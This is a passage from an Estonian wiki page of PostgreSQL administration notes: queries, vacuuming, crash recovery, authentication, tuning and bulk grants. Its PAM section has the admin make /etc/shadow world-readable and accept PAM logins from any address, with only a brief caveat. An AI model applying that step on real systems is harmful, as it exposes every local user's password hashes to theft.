&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
